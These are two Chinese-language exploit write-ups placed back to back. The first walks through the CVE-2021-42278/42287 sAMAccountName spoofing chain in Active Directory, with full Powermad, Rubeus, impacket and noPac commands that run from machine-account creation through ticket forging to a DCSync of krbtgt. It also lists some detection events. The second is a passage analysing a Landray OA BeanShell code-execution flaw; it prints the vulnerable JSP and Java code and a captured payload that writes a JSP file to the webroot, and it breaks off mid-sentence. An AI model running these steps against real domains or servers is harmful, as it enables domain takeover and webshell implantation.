TRUE   systemFlags: FLAG_SCHEMA_BASE_OBJECT |   FLAG_ATTR_REQ_PARTIAL_SET_MEMBER   schemaFlagsEx: FLAG_ATTR_IS_CRITICAL userAccountControl UF_WORKSTATION_TRUST_ACCOUNT ( 4096 ) UF_SERVER_TRUST_ACCOUNT ( 8192 ) UF_NORMAL_ACCOUNT ( 512 ) UF_INTERDOMAIN_TRUST_ACCOUNT ( 2048 ) http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm 利⽤ 6 Active Directory 属性userAccountControl包含⼀系列标志,这些标志定义了⽤户对象的⼀些重要基本 属性。这些标志还可⽤于请求或更改帐户的状态。例如模拟域控制器帐户。 默认情况底下,加⼊域的机器默认在CN=Computer这个容器⾥⾯,域控默认在Domain Controllers这 个OU⾥⾯。有些域内会通过redircmp进⾏修改 然后我们检查⼀下MAQ中是否允许我们创建机器账号,默认是10个。 那么我们可以使⽤域⽤户来创建机器帐户。 查询⼀下DC的机器名 然后添加,这⾥使⽤的是下⾯的脚本,当然在实战中我们也可以使⽤别的⼿法来添加 即机器账号、计算机账号,所有加⼊域的主机都会有⼀个机器⽤户,⽤户名为机器名加$,如: WIN7$、WINXP$。在域环境中,普通域⽤户最多可以创建 10 个计算机账户,但是本地账号不能创建 计算机账户。 默认情况下,加⼊域的机器默认在CN=Computers这个容器⾥⾯: 创建机器账号 Nslookup -type=SRV _ldap._tcp https://github.com/Kevin-Robertson/Powermad/ New-MachineAccount -MachineAccount SPN-ATT -Domain qax.com -DomainController qax.com -Verbose 7 在下⾯的⽂章中描述从操作修改samAccountName的⽅法: 如果⽤户具有写⼊权限,理论上我们可以直接修改samAccountName。但是这⾥存在⼀个报错 猜测是存在这个samAccountName所以没有办法修改,例如修改为WIN-Q3T6AV1HB0V 修改samAccountName https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota- is-useful-sometimes/ The creator account is granted write access to some machine account object attributes. Normally, this includes the following attributes: 1.AccountDisabled 2.description 3.displayName 4.DnsHostName 5.ServicePrincipalName 6.userParameters 7.userAccountControl 8.msDS-AdditionalDnsHostName 9.msDS-AllowedToActOnBehalfOfOtherIdentity 10.samAccountName 8 通过查找资料我们知道: 那么我们修改SPN-ATT的samAccountName名为DC的samAccountName,但是SPN是⽹络控制器服 务实例的唯⼀标识符,Kerberos 身份验证使⽤它来将服务实例与服务登录帐户相关联。(Kerberos 身份 验证使⽤ SPN 将服务实例与服务登录帐户相关联。这允许客户端应⽤程序请求服务验证帐户,即使客 户端没有帐户名称。) 但是这个漏洞就是修改了samAccountName的值,所以我们想要⼀个修改的⽅法,通过查看资料,我们 可以通过删除SPN的值来绕过。 列出当前域的SPN值 Set-MachineAccountAttribute -MachineAccount "SPN-ATT1" -Attribute SamAccountName - Value "WIN-Q3T6AV1HB0V1" 修改 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性,SPN 列表将⾃ 动更新为新值。 服务主体名称(SPN)是Kerberos客户端⽤于唯⼀标识给特定Kerberos⽬标计算机的服务实例名称。 Kerberos身份验证使⽤SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个 服务实例,则每个实例都必须具有⾃⼰的SPN。如果客户端可能使⽤多个名称进⾏身份验证,则给定 的服务实例可以具有多个SPN。例如,SPN总是包含运⾏服务实例的主机名称,所以服务实例可以为 其主机的每个名称或别名注册⼀个SPN。 setspn -T qax.com -Q */* 9 我们新建的机器账号是存在SPN的⼀些值的 可以使⽤PowerView的Set-DomainObject和addspn.py来进⾏删除。 CN=DESKTOP-RLRTCPJ,CN=Computers,DC=qax,DC=com RestrictedKrbHost/DESKTOP-RLRTCPJ HOST/DESKTOP-RLRTCPJ RestrictedKrbHost/DESKTOP-RLRTCPJ.qax.com HOST/DESKTOP-RLRTCPJ.qax.com https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 https://github.com/dirkjanm/krbrelayx/blob/master/addspn.py 10 清理spn之后可以看到 然后就可以设置SamAccountName的值 Set-MachineAccountAttribute -MachineName WIN-Q3T6AV1HB0V -Attribute SamAccountName - Value WIN-Q3T6AV1HB0V 11 在DC我们可以看到 同时我们也可以修改 DnsHostname和msDS-AdditionalDnsHostName的值 基本上CVE-2021-42278就利⽤完成了。 Set-MachineAccountAttribute -MachineAccount "SPN-ATT" -Attribute DnsHostname -Value "WIN-Q3T6AV1HB0V.qax.com" -Verbose Set-MachineAccountAttribute -MachineAccount "SPN-ATT" -Attribute msDS- AdditionalDnsHostName -Value "WIN-Q3T6AV1HB0V.qax.com" -Verbose 12 Object 类和 UserAccountControl 验证失败时,系统⽇志中将记录事件:16990 SAM 帐户名称验证失败事件16991 计算机帐户成功创建审核事件 使⽤powershell查找没有"$"的sAMAccountName 的计算机帐户: 要查找具有不合规UserAccountControl sAMAccountType 的计算机帐户: ⼿法是利⽤ MAQ (MachineAccountQuota)的允许⾮特权⽤户将机器帐户对象添加到域中,默认情 况下,⼀个⾮特权⽤户可以创建 10 个机器帐户把机器帐户账号添加到域中,然后删除这个机器账号的 SPN值,通过修改sAMAccountName值来模拟域控制器。 其实如果我们没有办法清除SPN的值(可能打了补丁或权限问题)我们也可以修改samAccountName的值 使⽤空格清除"$"的来伪造我们在域内的流量,欺骗蓝队和安全设备(EDR..)等等的检测。 例如: 然后 检测 4741 (S):创建了⼀个计算机帐户 4742 (S):计算机帐户已更改 4743(S):⼀个电脑账户被删除 Get-ADComputer -LDAPFilter "(samAccountName=*)" |? SamAccountName -NotLike "*$" | select DNSHostName, Name, SamAccountName Get-ADComputer -LDAPFilter "UserAccountControl:1.2.840.113556.1.4.803:=512" 总结 拓展 Set-MachineAccountAttribute -MachineAccount "SPN-ATT1" -Attribute SamAccountName - Value "WIN-Q3T6AV1HB0V" -Verbose 13 在DC上看: 同理我们可以模仿administrator 在流量上我们就可以看到 Set-MachineAccountAttribute -MachineAccount "SPN-ATT1" -Attribute SamAccountName - Value "WIN-Q3T6AV1HB0V " -Verbose(注意空格) Set-MachineAccountAttribute -MachineAccount "SPN-ATT1" -Attribute SamAccountName - Value "administrator " -Verbose注意空格 14 当然还有更好玩的⼿法,这⾥不再讨论。 CVE-2021-42287解决了影响 Kerberos 特权属性证书 (PAC) 并允许潜在攻击者冒充域控制器的安全 绕过漏洞。受感染的域帐户可能会导致密钥分发中⼼ (KDC) 创建具有⽐受感染帐户更⾼权限级别的服务 票证。 CVE-2021-42287 中改进的身份验证过程向 Kerberos 票证授予票证 (TGT) 的 PAC 添加了有关原始 请求者的新信息。当为帐户⽣成 Kerberos 服务票证时,新的身份验证过程将验证请求 TGT 的帐户是 否与服务票证中引⽤的帐户相同。 AS(Authentication Server)= 认证服务器 KDC(Key Distribution Center)= 密钥分发中⼼ TGT(Ticket Granting Ticket)= 票据授权票据,票据的票据 TGS(Ticket Granting Server)= 票据授权服务器 SS(Service Server)= 特定服务提供端 CVE-2021-42287 - KDC bamboozling Kerberos简单概念 ● ● ● ● ● 15 客户端⽤户发送⾃⼰的⽤户名到KDC服务器以向AS服务进⾏认证。 KDC服务器会⽣成相应的TGT票据,打上时间戳,在本地数据库中查找该⽤户的密码,并⽤该密码对 TGT进⾏加密,将结果发还给客户端⽤户。该操作仅在⽤户登录或者kinit申请的时候进⾏。 客户端收到该信息,并使⽤⾃⼰的密码进⾏解密之后,就能得到TGT票据了。 这个TGT会在⼀段时间之后失效,也有⼀些程序(session manager)能在⽤户登陆期间进⾏⾃动更新。 当客户端⽤户需要使⽤⼀些特定服务(Kerberos术语中⽤"principal"表示)的时候,该客户端就发送TGT 到KDC服务器中的TGS服务。当该⽤户的TGT验证通过并且其有权访问所申请的服务时,TGS服务会⽣ 成⼀个该服务所对应的ticket和session key,并发还给客户端。客户端将服务请求与该ticket⼀并发送 给相应的服务端即可。 特权属性证书 (PAC) 是 Kerberos 票证的扩展,其中包含有关⽤户特权的有⽤信息。当⽤户在 Active Directory 域中进⾏身份验证时,域控制器会将这些信息添加到 Kerberos 票证中。当⽤户使⽤他们的 Kerberos 票证对其他系统进⾏身份验证时,可以读取 PAC 并使⽤它来确定他们的权限级别,⽽⽆需联 系域控制器来查询该信息. 解决的是 “What can I do?”的问题: ⽤户向KDC发起AS_REQ,请求凭据是⽤户hash加密的时间戳,KDC使⽤⽤户hash进⾏解密,如果结果 正确返回⽤krbtgt hash加密的TGT票据,TGT⾥⾯包含PAC,PAC包含⽤户的sid,⽤户所在的组。 然后使⽤TGT去申请TGS,任何⼀个⽤户,只要hash正确,可以请求域内任何⼀个服务的TGS票据,⽤ 户拿着TGS票据去请求服务,服务使⽤⾃⼰的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那 边询问⽤户有没有访问权限,域控解密PAC。获取⽤户的sid,以及所在的组,再判断⽤户是否有访问服 务的权限,PAC对于⽤户和服务全程都是不可⻅的。只有KDC能制作和查看PAC。 https://zh.wikipedia.org/wiki/Kerberos PAC特权属性证书 https://www.anquanke.com/post/id/192810 16 那么我们可以整理知道 客户端(Client)从认证服务器(AS)获取票据的票据(TGT)时: Client向AS发送1条明⽂消息,申请基于⽤户想要访问的服务,然后AS检查该⽤户ID是否在于本地数据 库中,如果⽤户存在则返回2条消息: 那么我们现在需要⼀个TGT,使⽤CVE-2021-42278中创建的机器账号来申请⼀个TGT。 同样我们也可以申请别的TGT 分析 通过⽤户密钥(user's secret key)进⾏加密的Client/TGS会话密钥(Client/TGS Session Key) 通过TGS密钥(TGS's secret key)进⾏加密的票据授权票据(TGT) .\Rubeus.exe asktgt /user:"WIN-Q3T6AV1HB0V" /password:"123" /domain:"qax.com" /dc:"WIN-Q3T6AV1HB0V.qax.com" /nowrap 17 这⾥我们请求到的是我们创建的机器的普通 TGT,但使⽤的是新的 samaccontname。 然后给我们返回使⽤⽤户密钥(user's secret key)对Client/TGS会话密钥(Client/TGS Session Key)进 ⾏加密和通过TGS密钥(TGS's secret key)进⾏加密的票据授权票据(TGT)。 然后到使⽤我们TGT去申请TGS:即是服务授权(client从TGS获取票据(client-to-server ticket)) 这⾥我们需要使TGS没有办法找到我们需要的服务,,因为收到client后,TGS⾸先检查KDC数据库中 是否存在所需的服务,如果没有这些服务,那么TGS会重新搜索带有尾随的$的机器账号,然后查找是 否存在client中需要的服务。 ⼀旦Client收到返回的消息,Client⾸先尝试⽤⾃⼰的“⽤户密钥”(user's secret key)解密Client/TGS 会话密钥(Client/TGS Session Key),如果⽤户输⼊的密码与AS数据库中的密码不符,则不能成功解 密。 输⼊正确的密码并通过随之⽣成的"user's secret key"才能解密,从⽽得到“Client/TGS会话密 钥”(Client/TGS Session Key)。(注意:Client不能解密TGT,因为B是⽤TGS密钥(TGS's secret key)加密的)。拥有了“Client/TGS会话密钥”(Client/TGS Session Key),Client就⾜以通过TGS进 ⾏认证了。 这⾥会发送以下内容 消息1:即消息B的内容(TGS's secret key加密后的TGT),和想获取的服务的服务ID(注意:不是 ⽤户ID) 消息2:认证符(Authenticator)(Authenticator包括:⽤户ID,时间戳),通过Client/TGS会话密钥 (Client/TGS Session Key)进⾏加密 18 那么我们可以把我们创建的机器账号的 samaccontname修改回来或别的内容。 在DC上: 那么TGS会重新搜索带有尾随的$的机器账号,因为我们请求的服务为:WIN-Q3T6AV1HB0V,TGS加 上"$"就变成了"WIN-Q3T6AV1HB0V$"即是DC。 然后TGS⽤⾃⼰的“TGS密钥”(TGS's secret key)解密TGT,从⽽得到之前⽣成的“Client/TGS会话密 钥”(Client/TGS Session Key)。 TGS再⽤这个Session Key解密消息2得到包含⽤户ID和时间戳的Authenticator,并对TGT和 Authenticator进⾏验证,验证通过之后返回2条消息: Set-MachineAccountAttribute -MachineAccount "SPN-ATT" -Attribute SamAccountName - Value "WIN-Q3T6AV1HB0V1" -Verbose 消息3:client-server票据(client-to-server ticket)(该ticket包括:Client/SS会话密钥 (Client/Server Session Key),⽤户ID,⽤户⽹址,有效期),通过提供该服务的服务器密钥 19 那么按照Kerberos的流程: TGS使⽤DC的服务器密钥(service's secret key)进⾏client-server票据(client-to-server ticket)加密 并返回给我们。TGS错误地给我们颁发了DC的client-server票据(client-to-server ticket)。所以我们 拿到了使⽤ DC 密钥加密的 ST。 我们需要使⽤S4U2self申请⼀个服务票据(ST)并注⼊内存中,S4U2self扩展允许服务获得服务票据本身 就代表⽤户。 (service's secret key)进⾏加密 消息4:Client/SS会话密钥( Client/Server Session Key)(该Session Key⽤在将来Client与Server Service的通信(会话)上),通过Client/TGS会话密钥(Client/TGS Session Key)进⾏加密 .\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WIN-Q3T6AV1HB0V.qax.com /self /altservice:LDAP/WIN-Q3T6AV1HB0V.qax.com /ptt /ticket: 服务请求(client从SS获取服务): 当获得“Client/SS会话密钥”(Client/Server Session Key)之后,Client就能够使⽤服务器提供的服务 了。Client向指定服务器SS发出2条消息: 消息e:即上⼀步中的消息E“client-server票据”(client-to-server ticket),通过服务器密钥 (service's secret key)进⾏加密 消息g:新的Authenticator(包括:⽤户ID,时间戳),通过Client/SS会话密钥(Client/Server Session Key)进⾏加密 SS⽤⾃⼰的密钥(service's secret key)解密消息e从⽽得到TGS提供的Client/SS会话密钥 (Client/Server Session Key)。再⽤这个会话密钥解密消息g得到Authenticator,(同TGS⼀样)对 Ticket和Authenticator进⾏验证,验证通过则返回1条消息(可以提⾼服务) 20 但是如果我们直接请求直接根据TGT请求TGS依然是我们创建的TGS. 如果是 S4USelf得到的TGS,其PAC是重新构造的,⽽直接请求得到的TGS是直接复制的,下⾯是分析 过程: 在KdcInsertAuthorizationData中可以找到KDC Server获取PAC的处理逻辑: 如果不是S4U的请求,则直接从TGT的AuthData中提取PAC。 如果是S4U请求,⾸先调⽤KdcGetS4UTicketInfo请求获取S4UUserInfo,再调⽤kdcGetPacAuthData 函数来构造PAC data。 21 若原票据不存在PAC,则会构造⼀个新的PAC 22 若⽆法构造,则直接复制PAC KdcGetS4UTicketInfo kdcGetPacAuthData构造PAC信息主要依赖于KdcGetS4UTicketInfo返回的S4UUserInfo结构, S4UUserInfo结构体: 23 typedefstruct _USER_INTERNAL6_INFORMATION { USER_ALL_INFORMATION I1; LARGE_INTEGER LastBadPasswordTime; ULONG ExtendedFields; BOOLEAN UPNDefaulted; UNICODE_STRING UPN; PUSER_ALLOWED_TO_DELEGATE_TO_LIST A2D2List; } USER_INTERNAL6_INFORMATION, *PUSER_INTERNAL6_INFORMATION; 其中USERALLINFORMATION是⼀些关键信息,如UAC,PrimaryGroupId 在KdcGetS4UTicketInfo函数的处理逻辑中发现调⽤了KdcGetTicketInfo函数 24 综上解释了为什么该漏洞利⽤,获取到DC1的TGT之后必须通过S4USelf获取TGS才⾏。 如果可以请求⼀个没有PAC的TGT,那么这个就可以利⽤。 内容来⾃:https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA 利⽤ .\Rubeus.exe asktgt /user:qax1 /password:1qaz@WSX /domain:qax.com /dc:WIN- Q3T6AV1HB0V.qax.com /nopac /nowrap 25 没有属性的PAC事件:53 密钥分发中⼼ (KDC) 遇到来⾃另⼀个 KDC(“<KDC 名称>”)的票据授予票据 (TGT),其中不包含 PAC 属性字段。 没有 PAC 的票据事件:36 KDC 在没有 PAC 的情况下遇到 TGT 或其他证据票证。这可以防⽌ KDC 对票证执⾏安全检查。 没有请求者的票据事件:37 KDC 在没有 PAC 请求程序缓冲区的情况下遇到 TGT 或其他证据票证。很可能构建 PAC 的 KDC 不 包含更新或处于禁⽤模式。 请求者不匹配事件:38 KDC 遇到 TGT 或其他证据票证,并且请求 TGT 或证据票证的帐户与构建服务票证的帐户不匹配。(漏 洞利⽤点) 检测 Ticket PAC constructed by: <Kdc Name> Client: <Domain Name>\<User Name> Ticket for: <Service Name> Requesting Account SID from Active Directory: <SID> Requesting Account SID from Ticket: <SID> 26 通过域控的 ADSI 编辑器⼯具将 AD 域的MAQ配置为0,此做法将中断此漏洞的利⽤链。 这个漏洞复现起来不难。这⾥⽤到的环境是: 1.⾄少 1 个 DC 未修补KB5008380或KB5008602 2.⼀个域账号密码 3.MAQ(MachineAccountQuota )>0(默认情况下,⼀个⾮特权⽤户可以创建 10 个机器帐户) sAMAccountName欺骗漏洞复现 DC:windows server2016 域内主机:windows10 kali linux 利⽤条件 域内打法 1.判断⼀下MAQ的值 27 通过判断TGT的尺度来判断 Get-DomainObject(Get-DomainDN) | select ms-ds-machineaccountquota 2.判断是否打了KB5008380补丁 .\Rubeus.exe asktgt /user:qax1 /password:1qaz@WSX /domain:qax.com /dc:WIN- Q3T6AV1HB0V.qax.com /nopac /nowrap 3.获取⼀下DC的机器账号: Nslookup -type=SRV _ldap._tcp 28 使⽤ Powermad 来更改机器帐户的 samaccountname 4.创建⼀个机器账号 New-MachineAccount -MachineAccount SPN-ATT -Domain qax.com -DomainController qax.com -Verbose 5.创建机器帐户的SPN: 6.修改samaccountname Set-MachineAccountAttribute -MachineName WIN-Q3T6AV1HB0V -Attribute SamAccountName - Value WIN-Q3T6AV1HB0V 29 利⽤Rubeus 为新创建的机器帐户请求 TGT 为原来的值或别的值。 7.GetTGT .\Rubeus.exe asktgt /user:"WIN-Q3T6AV1HB0V" /password:"123" /domain:"qax.com" /dc:"WIN-Q3T6AV1HB0V.qax.com" /nowrap 8.更改机器帐户 samaccountname Set-MachineAccountAttribute -MachineAccount "SPN-ATT" -Attribute SamAccountName - Value "WIN-Q3T6AV1HB0V1" -Verbose 9.请求 S4U2self 票证并注⼊内存 30 .\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WIN-Q3T6AV1HB0V.qax.com /self /altservice:LDAP/WIN-Q3T6AV1HB0V.qax.com /ptt /ticket: 10.使⽤该票证进⾏ DCSync 31 ⼀键⼯具 nopac https://github.com/cube0x0/noPac noPac.exe scan -domain domain.local -user "lowpriv" -pass "lowpriv" noPac.exe -domain mcafeelab.local -user "lowpriv" -pass "lowpriv" /dc dc.domain.local /mAccount pillemann11 /mPassword pilleman11 /service ldaps /ptt /impersonate Administrator (mimikatz) lsadump::dcsync /domain:mcafeelab.local /all 32 在linux中是通过启⽤ SAMR 创建的机器帐户。 域外攻击 1.创建⼀个机器账户 python3 addcomputer.py -computer-name 'ControlledComputer$' -computer-pass '123' -dc- host 192.168.100.149 -domain-netbios domain 'qax.com/qax1:1qaz@WSX' 33 在DC上可以看到成功创建了 34 通过 SAMR 创建的机器账号是没有SPN的 如果是别的⽅法(例如: LDAPS ⽅法)创建的账号我们可以清除创建的SPN值 renameMachine.py 在DC上我们可以看到: addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController 2.修改我们创建的机器账号的samAccountName值 python3 renameMachine.py -current-name 'ControlledComputer$' -new-name 'WIN- Q3T6AV1HB0V' -dc-ip '192.168.100.149' domain/'qax1':'1qaz@WSX' https://github.com/SecureAuthCorp/impacket/pull/1224/files 35 3.GetTGT python3 getTGT.py -dc-ip '192.168.100.149' 'qax.com'/'WIN-Q3T6AV1HB0V':'123' 36 通过TGT申请获得S4U2self的服务票 getST.py 4.重置机器的samAccountName值 python3 renameMachine.py -current-name 'WIN-Q3T6AV1HB0V' -new-name 'WIN- Q3T6AV1HB0V1$' -dc-ip '192.168.100.149' domain/'qax1':'1qaz@WSX' 5.GetST KRB5CCNAME='WIN-Q3T6AV1HB0V.ccache' python3 getST.py -self -impersonate 'administrator' -spn 'cifs/WIN-Q3T6AV1HB0V.qax.com' -k -no-pass -dc-ip 192.168.100.149 qax.com/WIN-Q3T6AV1HB0v https://github.com/SecureAuthCorp/impacket/blob/b4774d60c7718edcf50196bf2de4aacd09d 8ee99/examples/getST.py 37 在internal.zeroday.lab和external.zeroday.lab林之间配置了林信任: 在external.zeroday.lab域上跨此信任创建⼀个新的计算机帐户(NewComputer): 可以从这个新创建的帐户中清除 SPN: 可以获取机器账户的信息来更改名称: 6. DCSync KRB5CCNAME='administrator.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass - dc-ip 'WIN-Q3T6AV1HB0V.qax.com' @'WIN-Q3T6AV1HB0V.qax.com' 林信任打法 38 名称可以更改为与域控制器相同的名称减去“ $ ”: 然后就是为EDC1请求 TGT ,重命名机器帐户,执⾏ S4U2self。 我们注意到有部分的修复建议是把MAQ的值设置为0(即是不予以普通域⽤户新建机器账号),中断攻击 链。 MAQ=0的打法 39 这⾥主要是通过打ACL来实现: 在MAQ=0之下我们对某个机器账号存在GenericAll,GenericWrite,WriteProperty 允许我们修改samaccountname的值即可。 GenericAll 983551 GenericWrite 131112 WriteProperty 32 例如: The right to create or delete children, delete a subtree, read and write properties, examine children and the object itself, add and remove the object from the directory, and read or write with an extended right. 创建或删除⼦项、删除⼦树、读取和写⼊属性、检查⼦项和对象本身、从⽬录中添加和删除对象以及 使⽤扩展权限读取或写⼊的权限。 The right to read permissions on this object, write all the properties on this object, and perform all validated writes to this object. 有权读取此对象的权限,写⼊此对象的所有属性,并执⾏所有已验证的写⼊此对象。 The right to write properties of the object. 写⼊对象属性的权利。 1. 列出所有机器账号 Import-ModuleActiveDirectory Get-ADComputer -Filter * -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack,OperatingSystemVersion -Wrap -Auto Get-ADComputer -Filter {enabled -eq $true} -properties *|select Name, DNSHostName, OperatingSystem, LastLogonDate 40 创建者帐户的 SID 存储在计算机帐户的 ms-DS-CreatorSID 属性中。AD 仅在创建者不是管理员或未 被委派添加机器帐户的权限时才填充此属性。 然后从机器账号中判断对其是否具有上⾯所说的权限。 Get-ADComputer -Filter {enabled -eq $true} -properties *|select Name, ms-DS-CreatorSID Get-DomainObjectAcl ControlledComputer -ResolveGUIDs |?{$_.securityidentifier -eq (get- domainuser qax).objectsid} 41 然后就可以使⽤ PowerView将samaccountname更改为DC 减去“$”的名称: 接下来就是跟上⾯⼀样的操作了。
pdf
HVV⾏动之某OA流量应急(⼀): https://www.anquanke.com/post/id/239865 蹭⼀波⽔哥的热度 OA还得看⽔系群友。 ⼚商已发布版本补丁完成修复,建议⽤户尽快更新⾄最新版本 某凌OA任意代码执⾏ 先看⼀下捕获到的POC: /sys/common/dataxml.jsp?s_bean=sysFormulaValidate&script= <payload>&type=int&modelName=test 漏洞出现在 /sys/common/dataxml.jsp 下。 同样类型还有⼀个 sys/common/datajson.jsp 代码: <%@ page language="java" contentType="application/x-javascript; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page errorPage="/resource/jsp/jsperror.jsp" %> <%@ page import="org.springframework.context.ApplicationContext, org.springframework.web.context.support.WebApplicationContextUtils, com.landray.kmss.common.service.IXMLDataBean, com.landray.kmss.common.actions.RequestContext, com.landray.kmss.util.StringUtil, java.util.* "%> <%@page import="net.sf.json.JSONObject"%> <%@page import="net.sf.json.JSONArray"%> <% response.setHeader("Cache-Control", "no-cache"); response.setHeader("Pragma", "no-cache"); response.setDateHeader("Expires", -1); ApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(session .getServletContext()); RequestContext requestInfo = new RequestContext(request); String[] beanList = request.getParameter("s_bean").split(";"); IXMLDataBean treeBean; List result = null; HashMap nodeMap; Object node; Object[] nodeList; Iterator attr; for(int i=0; i<beanList.length; i++){ treeBean = (IXMLDataBean) ctx.getBean(beanList[i]); result = treeBean.getDataList(requestInfo); if(result!=null){ JSONArray jsonArray=new JSONArray(); for (Iterator iterator = result.iterator(); iterator.hasNext();) { node = iterator.next(); if(node instanceof HashMap){ Map<String, Object> parseObj =(Map<String, Object>)node; JSONObject json=new JSONObject(); for(String key1 : parseObj.keySet()){ Object value1=parseObj.get(key1); json.accumulate(key1, value1); } jsonArray.add(json); }else if(node instanceof Object[]){ nodeList = (Object[])node; JSONObject json=new JSONObject(); for(int k=0; k<nodeList.length; k++){ if(nodeList[k]!=null){ String key2 = "key"+k; Object value2 = nodeList[k]; json.accumulate(key2, value2); } } jsonArray.add(json); }else{ if(node!=null){ JSONObject json=new JSONObject(); String key3 = "key0"; Object value3 = node; json.accumulate(key3, value3); jsonArray.add(json); } } } out.print(request.getParameter("jsoncallback")+" ("+jsonArray.toString()+")"); } } %> request.getParameter("s_bean").split(";"); 接收⼀个参数。 s_bean ,然后以 ; 进⾏分割传给 beanList .往下⾛,看程序是如何 处理 beanList 的值。 第27⾏中,循环 beanList 的值。传递给 ctx.getBean() ⽅法。到这⾥⼤概就明⽩ 了, beanList 的值是 beanId ,后⾯通过 getBean() 实例化 JavaBean 。 result = treeBean.getDataList(requestInfo); treeBean 是 JavaBean 实例化后的对象名。后调⽤ getDataList ⽅法。并传递⼀ 个 RequestContext 进去。 说⽩了就是任意Bean调⽤ 但是必须含有 getDataList ⽅法且需实现 IXMLDataBean 接⼝ 捕获到的数据流中, s_bean 的值为 sysFormulaValidate .根据配置⽂ 件。 sysFormulaValidate 所对应的类 为 com.landray.kmss.sys.formula.web.SysFormulaValidate 查看 getDataList ⽅法 public List getDataList(RequestContext requestInfo) throws Exception { List<Map<Object, Object>> rtnVal = new ArrayList(); Map<Object, Object> node = new HashMap<Object, Object>(); String msg = null; String confirm = null; try { try { String script = requestInfo.getParameter("script"); String type = requestInfo.getParameter("returnType"); String funcs = requestInfo.getParameter("funcs"); String model = requestInfo.getParameter("model"); FormulaParser parser = FormulaParser.getInstance(requestInfo, new ValidateVarGetter(null), model); if (StringUtil.isNotNull(funcs)) { String[] funcArr = funcs.split(";"); for (int i = 0; i < funcArr.length; i++) parser.addPropertiesFunc(funcArr[i]); } Object value = parser.parseValueScript(script, type); if (value == null) { msg = "validate.nullValue"; confirm = "validate.confirm.nullValueConfirm"; node.put("success", "0"); } else { msg = "validate.success"; node.put("success", "1"); } } catch (Exception e) { if (e instanceof com.landray.kmss.sys.metadata.exception.KmssUnExpectTypeException) { msg = "validate.failure.rtnTypeError"; logger.debug(e); node.put("success", "-1"); } else if (e instanceof com.landray.kmss.sys.formula.exception.EvalException) { msg = "validate.failure.evalError"; confirm = "validate.failure.evalErrorConfirm"; logger.debug(e); node.put("success", "0"); } else { msg = "validate.failure"; logger.error(e); node.put("success", "-1"); } } node.put("message", ResourceUtil.getString(msg, "sys-formula", requestInfo.getLocale())); if (confirm != null) node.put("confirm", ResourceUtil.getString(confirm, "sys-formula", requestInfo.getLocale())); rtnVal.add(node); return rtnVal; 问题主要在于 FormulaParser 下的 parseValueScript ⽅法。 Object value = parser.parseValueScript(script, type); public Object parseValueScript(String script) throws EvalException { if (StringUtil.isNull(script)) return null; Interpreter interpreter = new Interpreter(); ClassLoader loader = Thread.currentThread().getContextClassLoader(); try { if (loader != null) interpreter.setClassLoader(loader); StringBuffer importPart = new StringBuffer(); importPart.append("import ").append( OtherFunction.class.getPackage().getName()).append( ".*;\r\n"); StringBuffer preparePart = new StringBuffer(); StringBuffer leftScript = new StringBuffer(); String rightScript = script.trim(); Map<String, FunctionScript> funcScriptMap = new HashMap<String, FunctionScript>(); for (int index = rightScript.indexOf("$"); index > -1; index = rightScript .indexOf("$")) { int nxtIndex = rightScript.indexOf("$", index + 1); if (nxtIndex == -1) break; String varName = rightScript.substring(index + 1, nxtIndex); leftScript.append(rightScript.substring(0, index)); rightScript = rightScript.substring(nxtIndex + 1); if (rightScript.length() > 0 && rightScript.charAt(0) == return rtnVal; } } '(') { FunctionScript funcScript = funcScriptMap.get(varName); if (funcScript == null) for (int i = 0; i < this.funcProviderList.size(); i++) { funcScript = ((IFormulaFuncProvider)this.funcProviderList.get(i)) .getFunctionScript(varName); if (funcScript != null) { funcScriptMap.put(varName, funcScript); if (StringUtil.isNotNull(funcScript .getPrepareScript())) preparePart.append( funcScript.getPrepareScript()) .append("\r\n"); break; } } if (funcScript == null) throw new FuncNotFoundException(varName); leftScript.append(funcScript.getFunctionScript()); } else { leftScript.append("$").append(varName) .append("$"); if (this.varProvider == null) throw new VarNotFoundException(varName); Object value = this.varProvider.getValue(this.contextData, varName); interpreter.set("$" + varName + "$", value); } } String m_script = String.valueOf(importPart.toString()) + preparePart.toString() + leftScript + rightScript; if (logger.isDebugEnabled()) logger.debug("+ m_script); runningData.set(this.contextData); return interpreter.eval(m_script); } catch (TargetError targetError) { logger.error("+ script, (Throwable)targetError); throw new EvalException(targetError.getTarget()); } catch (Exception e) { logger.error("+ script, e); throw new EvalException(e); } finally { runningData.remove(); if (loader != null) interpreter.setClassLoader(null); } } 在⽅法中: 第⼆⾏就实例了 interpreter 对象 Interpreter interpreter = new Interpreter(); 看到这⼀串,基本就可以确定是代码执⾏了,就是Bsh,(泛微,⽤友都爆过类似 的),只需要寻找 eval() ⽅法,看看执⾏的内容。 向上回溯 m_script 变量。 String m_script = String.valueOf(importPart.toString()) + preparePart.toString() + leftScript + rightScript; m_script 是由 importPart , preparePart , leftScript , rightScript .4个变量的 值拼接⽽成。 回到 getDataList 中: 接收4个变量 script , returnType , funcs , model String script = requestInfo.getParameter("script"); String type = requestInfo.getParameter("returnType"); String funcs = requestInfo.getParameter("funcs"); String model = requestInfo.getParameter("model"); 在下⾯调⽤ parseValueScript 中,只需要 script 和 type .这⾥ script 是可控的。 在for循环中,只要 script 中不出现$符号。就可以跳过部分截断,致 使 preparePart 和 leftScript 的内容为空,后⾯就是直接带 ⼊ rightScript=script 执⾏.导致任意代码执⾏ for (int index = rightScript.indexOf("$"); index > -1; index = rightScript .indexOf("$")) { 看了下捕获到的POC: 解码后的内容就是: import java.lang.*; import java.io.*;Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.I nterpreter"); String path=cls.getProtectionDomain().getCodeSource().getLocation().getPat h(); File f=new File(path.split("WEB-INF")[0]+"/loginx.jsp"); f.createNewFile(); FileOutputStream fout=new FileOutputStream(f); fout.write(new sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8=")); fout.close() ⼤概意思就是。先加载 